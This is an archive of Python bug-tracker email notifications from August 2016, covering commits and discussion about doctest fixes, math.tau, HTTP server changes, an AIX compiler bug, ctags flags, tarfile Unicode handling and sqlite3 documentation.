76c04e780cd5 by Zachary Ware in branch 'default': Closes #27208: Merge with 3.5 https://hg.python.org/cpython/rev/76c04e780cd5 ---------- nosy: +python-dev resolution: -> fixed stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 01:36:26 2016 From: report at bugs.python.org (Zachary Ware) Date: Wed, 10 Aug 2016 05:36:26 +0000 Subject: [issue27208] Failing doctests in Library/traceback.rst In-Reply-To: <1465000916.52.0.195426294226.issue27208@psf.upfronthosting.co.za> Message-ID: <1470807386.7.0.96638867671.issue27208@psf.upfronthosting.co.za> Zachary Ware added the comment: Thanks for the patch! ---------- nosy: +zach.ware type: -> behavior versions: +Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 01:40:34 2016 From: report at bugs.python.org (Roundup Robot) Date: Wed, 10 Aug 2016 05:40:34 +0000 Subject: [issue27209] Failing doctests in Library/email.*.rst Message-ID: <20160810054031.3238.77596.2C288291@psf.io> New submission from Roundup Robot: New changeset bb443518141e by Zachary Ware in branch '3.5': Issue #27209: Fix doctests in Doc/library/email*.rst https://hg.python.org/cpython/rev/bb443518141e New changeset 81dc2d250209 by Zachary Ware in branch 'default': Closes #27209: Merge with 3.5 https://hg.python.org/cpython/rev/81dc2d250209 ---------- nosy: +python-dev resolution: -> fixed stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 01:40:52 2016 From: report at bugs.python.org (Zachary Ware) Date: Wed, 10 Aug 2016 05:40:52 +0000 Subject: [issue27209] Failing doctests in Library/email.*.rst In-Reply-To: <20160810054031.3238.77596.2C288291@psf.io> Message-ID: <1470807652.2.0.358391089581.issue27209@psf.upfronthosting.co.za> Zachary Ware added the comment: Thanks for the patch! ---------- nosy: +zach.ware type: -> behavior versions: +Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 02:01:36 2016 From: report at bugs.python.org (Roundup Robot) Date: Wed, 10 Aug 2016 06:01:36 +0000 Subject: [issue27210] Failing doctests due to environmental dependencies in Lib/*lib.rst In-Reply-To: <1465001215.61.0.0775726145069.issue27210@psf.upfronthosting.co.za> Message-ID: <20160810060132.3555.86071.8AF7671D@psf.io> Roundup Robot added the comment: New changeset 6b00ccf5e435 by Zachary Ware in branch '3.5': Issue #27210: Fix doctests for a few modules. https://hg.python.org/cpython/rev/6b00ccf5e435 New changeset 0a569e4b1d57 by Zachary Ware in branch 'default': Closes #27210: Merge with 3.5 https://hg.python.org/cpython/rev/0a569e4b1d57 ---------- nosy: +python-dev resolution: -> fixed stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 02:03:03 2016 From: report at bugs.python.org (Zachary Ware) Date: Wed, 10 Aug 2016 06:03:03 +0000 Subject: [issue27210] Failing doctests due to environmental dependencies in Lib/{nntp, ftp, diff}lib.rst In-Reply-To: <1465001215.61.0.0775726145069.issue27210@psf.upfronthosting.co.za> Message-ID: <1470808983.3.0.285310012959.issue27210@psf.upfronthosting.co.za> Zachary Ware added the comment: Thanks for the patch! I made a couple changes in difflib.rst to avoid issues with sys.stdout.write() returning the number of characters written. ---------- nosy: +zach.ware title: Failing doctests due to environmental dependencies in Lib/*lib.rst -> Failing doctests due to environmental dependencies in Lib/{nntp,ftp,diff}lib.rst type: -> behavior versions: +Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 02:06:08 2016 From: report at bugs.python.org (Roundup Robot) Date: Wed, 10 Aug 2016 06:06:08 +0000 Subject: [issue27200] make doctest in CPython has failures In-Reply-To: <1464988408.0.0.840317371896.issue27200@psf.upfronthosting.co.za> Message-ID: <20160810060605.3669.57128.AD30976C@psf.io> Roundup Robot added the comment: New changeset f3a04d19e5cb by Zachary Ware in branch '3.5': Issue #27200: Fix doctests in Doc/library/hashlib.rst https://hg.python.org/cpython/rev/f3a04d19e5cb New changeset d0302d8ecbc1 by Zachary Ware in branch 'default': Issue #27200: Merge with 3.5 https://hg.python.org/cpython/rev/d0302d8ecbc1 ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 02:19:31 2016 From: report at bugs.python.org (Zachary Ware) Date: Wed, 10 Aug 2016 06:19:31 +0000 Subject: [issue27200] make doctest in CPython has failures In-Reply-To: <1464988408.0.0.840317371896.issue27200@psf.upfronthosting.co.za> Message-ID: <1470809971.62.0.400887352424.issue27200@psf.upfronthosting.co.za> Zachary Ware added the comment: All of the current dependencies have been committed. I still see failures in: Doc/faq/programming.rst Doc/library/configparser.rst (also leaves Doc/example.ini) Doc/library/copyreg.rst Doc/library/ctypes.rst Doc/library/datetime.rst Doc/library/functions.rst Doc/library/ipaddress.rst Doc/library/pathlib.rst Doc/library/re.rst Doc/library/reprlib.rst Doc/library/shlex.rst Doc/library/turtle.rst (possibly only due to lack of usable tkinter) Doc/library/unittest.mock-examples.rst Doc/library/unittest.mock.rst Doc/library/urllib.parse.rst Doc/library/weakref.rst For a total of 450 failures (1 in setup code) out of 1726 tests on 3.6. Also, some test leaves 'Doc/foo'. ---------- components: +Documentation, Tests type: -> behavior versions: +Python 2.7, Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 02:31:37 2016 From: report at bugs.python.org (Jelle Zijlstra) Date: Wed, 10 Aug 2016 06:31:37 +0000 Subject: [issue27200] make doctest in CPython has failures In-Reply-To: <1464988408.0.0.840317371896.issue27200@psf.upfronthosting.co.za> Message-ID: <1470810697.93.0.882245538025.issue27200@psf.upfronthosting.co.za> Jelle Zijlstra added the comment: Thanks for committing all of these patches! I have local patches for some more tests; I'll try to find some time to upload them. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 03:02:17 2016 From: report at bugs.python.org (Xavier Combelle) Date: Wed, 10 Aug 2016 07:02:17 +0000 Subject: [issue26526] In parsermodule.c, replace over 2KLOC of hand-crafted validation code, with a DFA In-Reply-To: <1457600551.84.0.318395917649.issue26526@psf.upfronthosting.co.za> Message-ID: <1470812537.56.0.608787337258.issue26526@psf.upfronthosting.co.za> Xavier Combelle added the comment: The DFA is generated by other part of existing cpython code ? If it's the case looks like you did a great job. ---------- nosy: +xcombelle _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 03:14:17 2016 From: report at bugs.python.org (Mark Dickinson) Date: Wed, 10 Aug 2016 07:14:17 +0000 Subject: [issue12345] Add math.tau In-Reply-To: <1308193830.26.0.803614362003.issue12345@psf.upfronthosting.co.za> Message-ID: <1470813257.11.0.466609677703.issue12345@psf.upfronthosting.co.za> Mark Dickinson added the comment: > I'd test that tau is exactly equal to 2*pi. +1 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 03:16:30 2016 From: report at bugs.python.org (Martin Panter) Date: Wed, 10 Aug 2016 07:16:30 +0000 Subject: [issue10721] Remove HTTP 0.9 server support In-Reply-To: <1292523705.43.0.300913774105.issue10721@psf.upfronthosting.co.za> Message-ID: <1470813390.88.0.17113277382.issue10721@psf.upfronthosting.co.za> Martin Panter added the comment: FWIW I doubt HTTP 1.1 ever required support for other HTTP versions; see for instance . This v2 patch adds another test that includes what I understand is a true HTTP 0.9 request (although the mock connection infrastructure closes the connection before receiving the response, so you don?t see any deadlock). This is based on , which includes only one CRLF newline. I also added an entry to the What?s New page. ---------- Added file: http://bugs.python.org/file44066/http09server.v2.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 04:18:00 2016 From: report at bugs.python.org (Daisuke Miyakawa) Date: Wed, 10 Aug 2016 08:18:00 +0000 Subject: [issue27724] PEP3119 inconsintent with actual CPython impl Message-ID: <1470817080.1.0.906916235476.issue27724@psf.upfronthosting.co.za> New submission from Daisuke Miyakawa: Python 3.5.2 (and Python 2.7.12) uses Py_TPFLAGS_IS_ABSTRACT while PEP 3119 menttions "Py_TPFLAGS_ABSTRACT" for it. At some point had the name of the flag been changed without modifying PEP? ---------- assignee: docs at python components: Documentation messages: 272321 nosy: Daisuke Miyakawa, docs at python priority: normal severity: normal status: open title: PEP3119 inconsintent with actual CPython impl versions: Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 04:49:15 2016 From: report at bugs.python.org (Senthil Kumaran) Date: Wed, 10 Aug 2016 08:49:15 +0000 Subject: [issue12319] [http.client] HTTPConnection.request not support "chunked" Transfer-Encoding to send data In-Reply-To: <1307875633.83.0.874379254828.issue12319@psf.upfronthosting.co.za> Message-ID: <1470818955.71.0.867580214306.issue12319@psf.upfronthosting.co.za> Senthil Kumaran added the comment: (Assigning this to Martin) I really like this patch, and I support that we land this before the feature freeze of 3.6. As along as the API interface to users is simple, the changes internal to _send_output should not be a concern. Yeah, I agree that multiple things needs to be taken care, but it is alright. Also, +1 to do validation of transfer-encoding usage as it's done by the patch. This is along the lines of RFC recommendation and it is better to fail early than let the server implementation be the decider. I would like to know the better suggestion for "testing text" too. (Adding haypo to steer us here) Although, I would point out that the static method has a generic name _is_textIO, while relying on .read attribute which is checked outside the static method. ---------- assignee: orsenthil -> martin.panter nosy: +haypo _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 05:44:39 2016 From: report at bugs.python.org (Ethan Glass) Date: Wed, 10 Aug 2016 09:44:39 +0000 Subject: [issue27708] Rounding/Large Int representation error with multiplication and division In-Reply-To: <1470653839.78.0.546281473501.issue27708@psf.upfronthosting.co.za> Message-ID: <1470822279.26.0.210106281989.issue27708@psf.upfronthosting.co.za> Ethan Glass added the comment: Thank you so much! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 05:51:37 2016 From: report at bugs.python.org (REIX Tony) Date: Wed, 10 Aug 2016 09:51:37 +0000 Subject: [issue27725] Use Py_SIZE(x) instead of x->ob_size Message-ID: <1470822697.33.0.602349991034.issue27725@psf.upfronthosting.co.za> New submission from REIX Tony: I'm porting Python 2.7.* on AIX. I am now using a version 13.1.3.2 of XLC. I was previously using version 12.1.0.14 . It appears that this new compiler shows a potential issue in Python v2 code. This issue seems to appear when -O2 is used. I was porting Python 2.7.11 with -O2 instead of -O0 when I got it. The issue appears when running tests involving power() with Decimals where the x_sub() routine is used. The following Python code shows the issue: from decimal import * c = Context(7, ROUND_UP) d = c.power(Decimal(0.7), Decimal(3.4)) print d Good result is: 0.2973948 . The bug returns: 2.440099 However, I have about 22 errors when running: ./python Lib/test/regrtest.py -v test_decimal It is random in 64bit and quite constant in 32bit. The issue deals with using x->ob-size. There is a macro: Include/object.h:#define Py_SIZE(ob) (((PyVarObject*)(ob))->ob_size) The issue appears in last lines of Objects/longobject.c:x_sub() routine, when changing the sign: z->ob_size = -(z->ob_size); I have looked at version 2.7.12 and 2.7.10 of Python: they contain the same code as in 2.7.11. And ->ob_size is used about 45 times, mainly in Objects/longobject.c. However, Py_SIZE(...) is used ten times more (475). - Looking at version 3.5.1 of Python, I see that ->ob_size is now used only once, in: Objects/object.c . And Py_SIZE(...) is now used 616 times. And I also see that the Python 2.7.11-12 x_sub() code: if (sign < 0) z->ob_size = -(z->ob_size); return long_normalize(z); has been replaced in Python 3.5.1 by: if (sign < 0) { _PyLong_Negate(&z); if (z == NULL) return NULL; } return long_normalize(z); /* If a freshly-allocated int is already shared, it must be a small integer, so negating it must go to PyLong_FromLong */ Py_LOCAL_INLINE(void) _PyLong_Negate(PyLongObject **x_p) { PyLongObject *x; x = (PyLongObject *)*x_p; if (Py_REFCNT(x) == 1) { Py_SIZE(x) = -Py_SIZE(x); return; } *x_p = (PyLongObject *)PyLong_FromLong(-MEDIUM_VALUE(x)); Py_DECREF(x); } So, it looks to me that Python v2 version should do the same that Python v3 has done: replace x->ob-size by Py_SIZE(x) everywhere, and improve the code of x_sub() by using some _PyLong_Negate() routine or macro. ---------- components: Library (Lib) messages: 272324 nosy: trex58 priority: normal severity: normal status: open title: Use Py_SIZE(x) instead of x->ob_size type: behavior versions: Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 05:55:12 2016 From: report at bugs.python.org (SilentGhost) Date: Wed, 10 Aug 2016 09:55:12 +0000 Subject: [issue27725] Use Py_SIZE(x) instead of x->ob_size In-Reply-To: <1470822697.33.0.602349991034.issue27725@psf.upfronthosting.co.za> Message-ID: <1470822912.58.0.742597488898.issue27725@psf.upfronthosting.co.za> Changes by SilentGhost : ---------- components: +Interpreter Core nosy: +facundobatista, mark.dickinson, rhettinger, skrah _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 06:25:39 2016 From: report at bugs.python.org (Mark Dickinson) Date: Wed, 10 Aug 2016 10:25:39 +0000 Subject: [issue12345] Add math.tau In-Reply-To: <1308193830.26.0.803614362003.issue12345@psf.upfronthosting.co.za> Message-ID: <1470824739.68.0.832387670181.issue12345@psf.upfronthosting.co.za> Mark Dickinson added the comment: At some point before 3.6, the docs should get updated, and `cmath` should get the `tau` constant too. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 07:23:24 2016 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Wed, 10 Aug 2016 11:23:24 +0000 Subject: [issue27726] ctags -t does not exists in Makefile.pre.in Message-ID: <1470828204.23.0.262773554003.issue27726@psf.upfronthosting.co.za> New submission from St?phane Wirtel: I use Exuberant Ctags 5.8 on my Fedora 24, and this version does not accept the '-t' argument, as defined in the 'tags' target of the Makefile. ---------- files: Makefile.pre.in.diff keywords: patch messages: 272326 nosy: larry, matrixise priority: normal severity: normal status: open title: ctags -t does not exists in Makefile.pre.in versions: Python 3.5, Python 3.6 Added file: http://bugs.python.org/file44067/Makefile.pre.in.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 07:23:39 2016 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Wed, 10 Aug 2016 11:23:39 +0000 Subject: [issue27726] ctags -t does not exists in Makefile.pre.in In-Reply-To: <1470828204.23.0.262773554003.issue27726@psf.upfronthosting.co.za> Message-ID: <1470828219.67.0.684184175049.issue27726@psf.upfronthosting.co.za> Changes by St?phane Wirtel : ---------- stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 07:57:39 2016 From: report at bugs.python.org (INADA Naoki) Date: Wed, 10 Aug 2016 11:57:39 +0000 Subject: [issue26081] Implement asyncio Future in C to improve performance In-Reply-To: <1452533022.97.0.443242974791.issue26081@psf.upfronthosting.co.za> Message-ID: <1470830259.6.0.47358227386.issue26081@psf.upfronthosting.co.za> INADA Naoki added the comment: > Left a couple of comments; the important one -- Future.__await__ (and Future.__iter__) should always return a *new* instance of a generator-like object (tied to the Future object). Implementing full behavior of generator seems difficult to me. I'll implement minimum implementation in next patch. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 08:25:19 2016 From: report at bugs.python.org (SilentGhost) Date: Wed, 10 Aug 2016 12:25:19 +0000 Subject: [issue27726] ctags -t does not exists in Makefile.pre.in In-Reply-To: <1470828204.23.0.262773554003.issue27726@psf.upfronthosting.co.za> Message-ID: <1470831919.88.0.606557039289.issue27726@psf.upfronthosting.co.za> SilentGhost added the comment: For the record, according to http://ctags.sourceforge.net/news.html that option was removed in version 2.0.1 released over 18 years ago. ---------- nosy: +SilentGhost _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 08:50:55 2016 From: report at bugs.python.org (Vadim Markovtsev) Date: Wed, 10 Aug 2016 12:50:55 +0000 Subject: [issue17153] tarfile extract fails when Unicode in pathname In-Reply-To: <1360255401.83.0.937643629633.issue17153@psf.upfronthosting.co.za> Message-ID: <1470833455.4.0.068346260341.issue17153@psf.upfronthosting.co.za> Vadim Markovtsev added the comment: So... The bug persists in 3.5 ad 3.6. It prevents from e.g. unpacking tarballs coming from GitHub repos with Unicode file names. ---------- nosy: +Vadim Markovtsev2 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 08:54:14 2016 From: report at bugs.python.org (Vadim Markovtsev) Date: Wed, 10 Aug 2016 12:54:14 +0000 Subject: [issue17153] tarfile extract fails when Unicode in pathname In-Reply-To: <1360255401.83.0.937643629633.issue17153@psf.upfronthosting.co.za> Message-ID: <1470833654.41.0.0828409458456.issue17153@psf.upfronthosting.co.za> Vadim Markovtsev added the comment: Relevant issue in pip: https://github.com/pypa/setuptools/issues/710 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 09:27:38 2016 From: report at bugs.python.org (Joseph Bane) Date: Wed, 10 Aug 2016 13:27:38 +0000 Subject: [issue27721] distutils strtobool returns 0 and 1 rather than False and True In-Reply-To: <1470771352.57.0.859185223412.issue27721@psf.upfronthosting.co.za> Message-ID: <1470835658.26.0.0133019996625.issue27721@psf.upfronthosting.co.za> Joseph Bane added the comment: Thank you for your feedback. I definitely understand your reasoning and commitment to not introducing breaking changes in externally facing codes. I also agree that this does fall slightly more on the side of aesthetic rather than functional changes. However, this change doesn't seem like it is significantly altering the interface of strtobool; if anything it is making it clearer and less surprising, especially for Python 2/3+ users. I know, as someone in that category, having learned Python at version 2.5, that it was a bit surprising when I got back an integer from this function rather than the native True and False values. I also want to emphasize that this change is specifically targeting Python 3.6, not 2.7, 3.4, or 3.5. Making this small change in a not-yet-released version should be safe, but, of course, that is my outsider opinion. You absolutely have a valid point if I were asking that we change a released version and it is not something I take lightly. Lastly, this is the kind of change I would hope I could make easily as a first time contributor to the project because of it being more of an aesthetic one. After all, isn't the whole point of making changes to a project about making it cleaner, modern, and clearer? Thanks again. I really appreciate the feedback and discussion. P.S. If there is support to introduce this change, I will certainly update the tests and docs as pointed out. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 09:42:23 2016 From: report at bugs.python.org (R. David Murray) Date: Wed, 10 Aug 2016 13:42:23 +0000 Subject: [issue26686] email.parser stops parsing headers too soon when given a defective message. In-Reply-To: <1459532790.12.0.415003614976.issue26686@psf.upfronthosting.co.za> Message-ID: <1470836543.53.0.265021172466.issue26686@psf.upfronthosting.co.za> R. David Murray added the comment: I would prefer if we did lookahead to see if the subsequent line looks like a header. It's more complicated to do that, of course, and could still lead to false negatives. However, I think that would probably retain enough backward compatibility to be acceptable. It would also be sensible to make this a policy switch, and as I said elsewhere I'm fine with changing the defaults of the http policy even in 3.5. (The downside of *that* is that I'm sure there are bugs hiding in the new header parsing code, so actually using the http policy to parse http headers will doubtless "allow" us to find some of them.) Even more complicated, but a better heuristic: look ahead to the next blank line, up to some limit (5 lines?), and if you do find something that looks like a header, also make sure that none of the intermediate lines look like a MIME boundary. That still leaves the question of what to do with a source text that has non-header lines up to the next blank line (this applies to one line lookahead as well). Maybe see if there is more text after the blank line and if so assume the non-header is part of the header, otherwise not? Regardless, lookahead may be difficult to code. So an alternative that uses your approach, but triggered by a policy setting on http, would be acceptable backward compatibility wise. If we want to we could even make an internal http policy that is compat32 plus this new flag. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 09:52:48 2016 From: report at bugs.python.org (R. David Murray) Date: Wed, 10 Aug 2016 13:52:48 +0000 Subject: [issue27724] PEP3119 inconsintent with actual CPython impl In-Reply-To: <1470817080.1.0.906916235476.issue27724@psf.upfronthosting.co.za> Message-ID: <1470837168.25.0.750961019279.issue27724@psf.upfronthosting.co.za> R. David Murray added the comment: Probably. PEPs, once completed (unless they are informational PEPs), are historical documents, and the real implementation may diverge from the PEP immediately, or after maintenance updates. The real documentation for the added feature should be in the main docs. We are not always good about making that true, and we do reference the PEPs, and so sometimes we do update them. I'll leave this open so someone knowledgeable about it can decide if this should be fixed, or if there are missing "real docs" (I don't get hits for either constant grepping the docs). ---------- nosy: +r.david.murray _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 10:37:47 2016 From: report at bugs.python.org (Kaeptm Blaubaer) Date: Wed, 10 Aug 2016 14:37:47 +0000 Subject: [issue27727] Update Tools/freeze to use .vcxproj files Message-ID: <1470839867.79.0.0217135468923.issue27727@psf.upfronthosting.co.za> New submission from Kaeptm Blaubaer: The Tools/freeze script is broken because the .dsp files no longer exists. ---------- components: Demos and Tools messages: 272334 nosy: Kaeptm Blaubaer priority: normal severity: normal status: open title: Update Tools/freeze to use .vcxproj files type: compile error _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 10:53:58 2016 From: report at bugs.python.org (Evelyn Mitchell) Date: Wed, 10 Aug 2016 14:53:58 +0000 Subject: [issue27727] Update Tools/freeze to use .vcxproj files In-Reply-To: <1470839867.79.0.0217135468923.issue27727@psf.upfronthosting.co.za> Message-ID: <1470840838.15.0.0756299354081.issue27727@psf.upfronthosting.co.za> Evelyn Mitchell added the comment: Kaeptm, thanks for submitting this. Is this a Windows issue? ---------- nosy: +Evelyn Mitchell _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 11:04:06 2016 From: report at bugs.python.org (SilentGhost) Date: Wed, 10 Aug 2016 15:04:06 +0000 Subject: [issue27727] Update Tools/freeze to use .vcxproj files In-Reply-To: <1470839867.79.0.0217135468923.issue27727@psf.upfronthosting.co.za> Message-ID: <1470841446.09.0.57458569714.issue27727@psf.upfronthosting.co.za> Changes by SilentGhost : ---------- components: +Windows nosy: +paul.moore, steve.dower, tim.golden, zach.ware stage: -> needs patch type: compile error -> behavior versions: +Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 11:22:52 2016 From: report at bugs.python.org (David Edelsohn) Date: Wed, 10 Aug 2016 15:22:52 +0000 Subject: [issue25825] AIX shared library extension modules installation broken In-Reply-To: <1449602974.51.0.754649695687.issue25825@psf.upfronthosting.co.za> Message-ID: <1470842572.94.0.363425551546.issue25825@psf.upfronthosting.co.za> David Edelsohn added the comment: Let's start with this patch to revert the change mentioned in msg256136 to look for python.exp in Modules -- the test, the source for the file, and the location to delete the file. A follow-up patch will fix the data in _sysconfigdata.py. ---------- Added file: http://bugs.python.org/file44068/Issue25825-patch1.txt _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 11:31:49 2016 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Wed, 10 Aug 2016 15:31:49 +0000 Subject: [issue27726] ctags -t does not exists in Makefile.pre.in In-Reply-To: <1470828204.23.0.262773554003.issue27726@psf.upfronthosting.co.za> Message-ID: <1470843109.54.0.464720353923.issue27726@psf.upfronthosting.co.za> St?phane Wirtel added the comment: yep, maybe in this case, we can accept my patch ;-) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 11:32:59 2016 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Wed, 10 Aug 2016 15:32:59 +0000 Subject: [issue27726] ctags -t does not exists in Makefile.pre.in In-Reply-To: <1470828204.23.0.262773554003.issue27726@psf.upfronthosting.co.za> Message-ID: <1470843179.87.0.647996605597.issue27726@psf.upfronthosting.co.za> St?phane Wirtel added the comment: and in my first description, I have just forgotten to indicate this argument was not supported by the last version of ctags. @SilentGhost confirms this point ;-) (since 1998). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 11:35:41 2016 From: report at bugs.python.org (Jaysinh shukla) Date: Wed, 10 Aug 2016 15:35:41 +0000 Subject: [issue6057] sqlite3 error classes should be documented In-Reply-To: <1242673346.43.0.948670169284.issue6057@psf.upfronthosting.co.za> Message-ID: <1470843341.34.0.395896452635.issue6057@psf.upfronthosting.co.za> Jaysinh shukla added the comment: Dear St?phane, I will be agreed with the way proposed by you. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 12:03:30 2016 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Wed, 10 Aug 2016 16:03:30 +0000 Subject: [issue6057] sqlite3 error classes should be documented In-Reply-To: <1242673346.43.0.948670169284.issue6057@psf.upfronthosting.co.za> Message-ID: <1470845010.82.0.695371001222.issue6057@psf.upfronthosting.co.za> Changes by St?phane Wirtel : ---------- stage: patch review -> commit review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 12:12:15 2016 From: report at bugs.python.org (Evelyn Mitchell) Date: Wed, 10 Aug 2016 16:12:15 +0000 Subject: [issue27726] ctags -t does not exists in Makefile.pre.in In-Reply-To: <1470828204.23.0.262773554003.issue27726@psf.upfronthosting.co.za> Message-ID: <1470845535.4.0.461600671793.issue27726@psf.upfronthosting.co.za> Evelyn Mitchell added the comment: It looks to me the patch only removes the -t argument, as required. ---------- nosy: +Evelyn Mitchell stage: patch review -> commit review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 12:51:21 2016 From: report at bugs.python.org (Roundup Robot) Date: Wed, 10 Aug 2016 16:51:21 +0000 Subject: [issue27621] Finish IDLE Query dialog appearance and behavior. In-Reply-To: <1469512966.74.0.594331033204.issue27621@psf.upfronthosting.co.za> Message-ID: <20160810165029.29553.44281.C8FBA42D@psf.io> Roundup Robot added the comment: New changeset f0e86b60de5f by Terry Jan Reedy in branch 'default': Issue #27621: Put query response validation error messages in query box https://hg.python.org/cpython/rev/f0e86b60de5f ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 12:56:51 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Wed, 10 Aug 2016 16:56:51 +0000 Subject: [issue27621] Finish IDLE Query dialog appearance and behavior. In-Reply-To: <1469512966.74.0.594331033204.issue27621@psf.upfronthosting.co.za> Message-ID: <1470848211.18.0.526377350892.issue27621@psf.upfronthosting.co.za> Terry J. Reedy added the comment: There is still Serhiy's original issue about moving default with focus, plus possible appearance changes. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 12:59:35 2016 From: report at bugs.python.org (Berker Peksag) Date: Wed, 10 Aug 2016 16:59:35 +0000 Subject: [issue6057] sqlite3 error classes should be documented In-Reply-To: <1242673346.43.0.948670169284.issue6057@psf.upfronthosting.co.za> Message-ID: <1470848375.89.0.382570427899.issue6057@psf.upfronthosting.co.za> Berker Peksag added the comment: Thanks for the patch! +.. exception:: DatabaseError + + Exception raised for errors that are related to the database. It Indentation is not in line with other items: +.. exception:: DatabaseError + + Exception [...] In Cursor.execute() documentation, ``sqlite3.Warning`` needs to be replaced with :exc:`sqlite3.Warning`. Also, in Cursor.close() documentation, ``ProgrammingError`` needs to be replaced with :exc:`sqlite3.ProgrammingError`. ---------- stage: commit review -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 13:13:23 2016 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Wed, 10 Aug 2016 17:13:23 +0000 Subject: [issue6057] sqlite3 error classes should be documented In-Reply-To: <1242673346.43.0.948670169284.issue6057@psf.upfronthosting.co.za> Message-ID: <1470849203.0.0.462077845809.issue6057@psf.upfronthosting.co.za> St?phane Wirtel added the comment: Fixed with your comments. ---------- Added file: http://bugs.python.org/file44069/issue6057-3.6-2.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 13:14:55 2016 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Wed, 10 Aug 2016 17:14:55 +0000 Subject: [issue6057] sqlite3 error classes should be documented In-Reply-To: <1242673346.43.0.948670169284.issue6057@psf.upfronthosting.co.za> Message-ID: <1470849295.56.0.82966094756.issue6057@psf.upfronthosting.co.za> Changes by St?phane Wirtel : ---------- assignee: -> berker.peksag _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 13:16:43 2016 From: report at bugs.python.org (Roundup Robot) Date: Wed, 10 Aug 2016 17:16:43 +0000 Subject: [issue27380] IDLE: add base Query dialog with ttk widgets In-Reply-To: <1466741717.27.0.533147933113.issue27380@psf.upfronthosting.co.za> Message-ID: <20160810171640.13134.34496.01B078B9@psf.io> Roundup Robot added the comment: New changeset 8f37d772f71f by Terry Jan Reedy in branch 'default': Issue #27380: For test_query on Mac, adjust one expected result. https://hg.python.org/cpython/rev/8f37d772f71f ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 13:27:48 2016 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Wed, 10 Aug 2016 17:27:48 +0000 Subject: [issue27726] ctags -t does not exists in Makefile.pre.in In-Reply-To: <1470828204.23.0.262773554003.issue27726@psf.upfronthosting.co.za> Message-ID: <1470850068.37.0.607629333083.issue27726@psf.upfronthosting.co.za> St?phane Wirtel added the comment: Ned, BSD cTags does not support -t The -t option is a no-op for compatibility with previous versions of ctags that did not create tags for typedefs, enums, structs and unions by default. https://www.freebsd.org/cgi/man.cgi?query=ctags&sektion=1#end Gnu GLOBAL aka gtags does not support -t stephane at sg1 /t/g/gtags> ./gtags -t ./gtags: invalid option -- 't' Usage: gtags [-ciIOqvw][-d tag-file][-f file][dbpath] stephane at sg1 /t/g/gtags> ./gtags --version gtags (GNU GLOBAL) 6.5.4 Copyright (c) 2016 Tama Communications Corporation License GPLv3+: GNU GPL version 3 or later And Exuberant Tags does not support -t Maybe we can remove it ? Or I can propose a patch where we try to support the '-t' parameter but this one is not defined, just for the compatibility. Thank you, Stephane ---------- assignee: -> ned.deily nosy: +ned.deily _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 13:28:33 2016 From: report at bugs.python.org (Yury Selivanov) Date: Wed, 10 Aug 